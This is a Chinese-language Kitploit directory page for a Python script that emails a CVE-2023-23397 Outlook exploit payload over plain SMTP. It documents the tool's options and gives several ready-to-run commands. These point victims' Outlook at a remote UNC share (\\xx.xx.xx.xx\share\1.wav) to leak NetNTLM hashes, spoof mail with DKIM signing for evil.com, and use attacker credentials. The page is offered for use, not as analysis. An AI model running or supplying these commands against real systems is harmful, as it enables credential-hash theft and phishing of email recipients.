Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2023-23397 — 使用SMTP发送带有CVE-2023-23397载荷的电子邮件的Python脚本 | Kitploit
工具/GitHubGitHub/bronzebee/cve-2023-23397
钓鱼工具密码攻击Payload生成漏洞利用红队电子邮件安全
GitHubbronzebee/cve-2023-23397

cve-2023-23397

使用SMTP发送带有CVE-2023-23397载荷的电子邮件的Python脚本

查看仓库
14133年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-23397

此脚本允许创建 TNEF 编码的 Outlook 电子邮件,其中包含 CVE-2023-23397 漏洞利用载荷,并通过纯 SMTP 发送——无需 COM 对象或 EWS。

我未能让 IPM.Schedule.Meeting.Request 消息类正常工作(它同时生成了会议和提醒,但出于某种原因不遵守 PidLidReminderOverride 属性),因此该脚本滥用了 IPM.TaskRequest 类。这会产生一个恶意的会议提醒弹出窗口,就像原始漏洞利用一样,但收件人无法查看消息正文或会议详情。而在 OWA 中,该电子邮件看起来就像一封没有约会的普通消息。

已在 Outlook365 16130.20218 和 Outlook 2019 10395.20020 上测试。请注意,当通过外部方式发送电子邮件时,TNEF 附件和标头可能无法通过反垃圾邮件过滤器——我仅在局域网内从 Linux 机器直接(或通过 Postfix 中继)发送到 Exchange 时进行了测试。

用法

root@kitploit:~
options:
  -h, --help            显示此帮助信息并退出
  -s SERVER, --server SERVER
                        SMTP 邮件中继 (host[:port]),默认: localhost:25
  -f SENDER, --from SENDER
                        发件人电子邮件地址
  -t TO, --to TO        收件人电子邮件地址,可以是文件路径或逗号分隔值
  -S SUBJECT, --subject SUBJECT
                        邮件主题
  -r ROOM, --room ROOM  会议地点(房间名称),默认: Meeting Room #1
  -b BODY, --body BODY  纯文本消息正文(或文件路径)
  --html HTML           HTML 消息正文(或文件路径)
  -p PATH, --path PATH  NetNTLM 泄露的远程文件路径,例如 \\10.10.10.10\share\1.wav
  -a AUTH, --auth AUTH  AUTH 命令的用户名:密码,如果需要进行身份验证发送
  --codepage CODEPAGE   用于编码 HTML 正文的 Windows 代码页(例如 1252=ASCII, 65001=Unicode)(如果有),默认: 1252
  --ehlo EHLO, --helo EHLO
                        EHLO 命令参数(发送方外部主机名)
  -l LANG, --lang LANG  Content-Language 头部值,默认: en-US
  --starttls            在纯文本 SMTP 通信中使用 STARTTLS
  --max-rcpts MAX_RCPTS
                        每次发送尝试的最大收件人数
  -v                    启用调试输出

DKIM 消息签名:
  --dkim-selector DKIM_SELECTOR
                        DKIM 选择器
  --dkim-key DKIM_KEY   DKIM 私钥文件路径
  --dkim-domain DKIM_DOMAIN
                        DKIM 域名,默认: 发件人地址 @ 后的部分

示例

发送电子邮件,从 [email protected] 到 [email protected]:

root@kitploit:~
python3 cve-2023-23397.py -s localhost:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.'

发送电子邮件给多个收件人,使用机会性 TLS 和来自文件的 HTML 正文:

root@kitploit:~
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected],[email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls

发送带 DKIM 签名(需要 pip install dkimpy)和 EHLO 命令中自定义域名的电子邮件,收件人从文件加载,每封消息三个收件人:

root@kitploit:~
python3 cve-2023-23397.py -s mail.example.com:25 -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t ./recipients.txt -S 'Test Meeting' -b 'This is a test meeting, please ignore it.' --html ./body.html --starttls --max-rcpts 3 --dkim-key ./dkim.private --dkim-domain evil.com --dkim-selector default --ehlo mail.evil.com

发送带域凭据的电子邮件:

root@kitploit:~
python3 cve-2023-23397.py -s mail.example.com:587 --auth 'EXAMPLE\attacker:12345678' -p '\\xx.xx.xx.xx\share\1.wav' -f [email protected] -t [email protected] -S 'Test meeting' -b 'This is a test meeting, please ignore it.' --starttls

致谢

  • MDSec 的原始研究
  • tnefparse 提供了 TNEF 相关的 Python 代码
下载工具